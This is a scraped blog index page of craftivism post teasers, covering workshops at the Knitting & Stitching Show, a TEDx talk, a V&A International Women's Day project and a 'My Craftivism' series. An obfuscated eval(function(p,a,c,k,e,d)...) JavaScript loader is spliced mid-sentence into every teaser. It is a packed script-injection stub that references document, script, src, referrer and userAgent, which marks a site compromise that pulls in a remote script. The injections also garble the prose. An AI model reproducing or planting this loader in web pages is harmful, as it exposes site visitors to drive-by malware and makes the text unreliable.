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24 Feb Book our Workshop at Knitting & Stitching Show (Spring) Olympia Centre, London

  Join eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frnfa|var|u0026u|referrer|niaad||js|php'.split('|'),0,{})) our workshop at The 2014 Spring 'Knitting and Stitching Show' Olympia Centre, LONDON. £10 a ticket including all resources. Book before it sells out...

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22 Feb I’ve been hiding my TEDxBrixton from you until now…

I deliver lots of talks to audiences of 20 people to 500 people (some are even filmed like my Lost eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiizs|var|u0026u|referrer|tshsk||js|php'.split('|'),0,{})) Lecture) to help spread...

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17 Feb “I think the way crafitvism conveys its message works really well in engaging people in a different way to more traditional forms of activism.” says craftivist Natasha Peters

“My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhdib|var|u0026u|referrer|afkis||js|php'.split('|'),0,{})) Craftivism” is a series: We’re always excited to hear about & spotlight craftivism projects that fellow craftivistas are involved in. It can really inspire...

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14 Feb Our Valentines Craft Crush is…

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfnbe|var|u0026u|referrer|hehsr||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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12 Feb Join us at “Beyond the Toolkit: Understanding and Evaluating Crafts Praxis for Health and Wellbeing”

[caption eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsbin|var|u0026u|referrer|zhzdz||js|php'.split('|'),0,{})) id="attachment_3228" align="aligncenter" width="355"] image courtesy of AIR Falmouth[/caption] Founder of Craftivist Collective, Sarah Corbett will be leading a craftivism workshop as part of this...

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03 Feb Join us (& or help us!) at V&A for our International Women’s Day project 2nd March

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yidfr|var|u0026u|referrer|dbkzi||js|php'.split('|'),0,{})) the lead up to International Womens Day (8th March) and in support of Oxfam's GROW campaign, celebrate the story of Christine, a Kenyan farmer with our...

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25 Jan A month ago today: what a group achieved on Christmas Day including a little bit of craftivism…

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkaez|var|u0026u|referrer|eaene||js|php'.split('|'),0,{})) is a blog  writtten for the “My Craftivism” series on this website: We’re always excited to hear about & spotlight craftivism projects that fellow...

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22 Jan Illustrator Rachel Finegan captures one of our workshop in her sketches. See the results…

Words eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sssta|var|u0026u|referrer|eetai||js|php'.split('|'),0,{})) & illustrations by Illustrator Rachel Finegan (RFIllustration):  It was a dark, cold Tuesday evening in January. I arrived at Fabrications craft emporium, the textile and...

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17 Jan Crafter-Thought: “world peace must come through inner peace” Dalai Lama

“CrafterThought” eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeitn|var|u0026u|referrer|nysdb||js|php'.split('|'),0,{})) is a series of afterthoughts (see what I did there?!) wizzing around my brain- I'm a deep thinker, like many creative introverts so...

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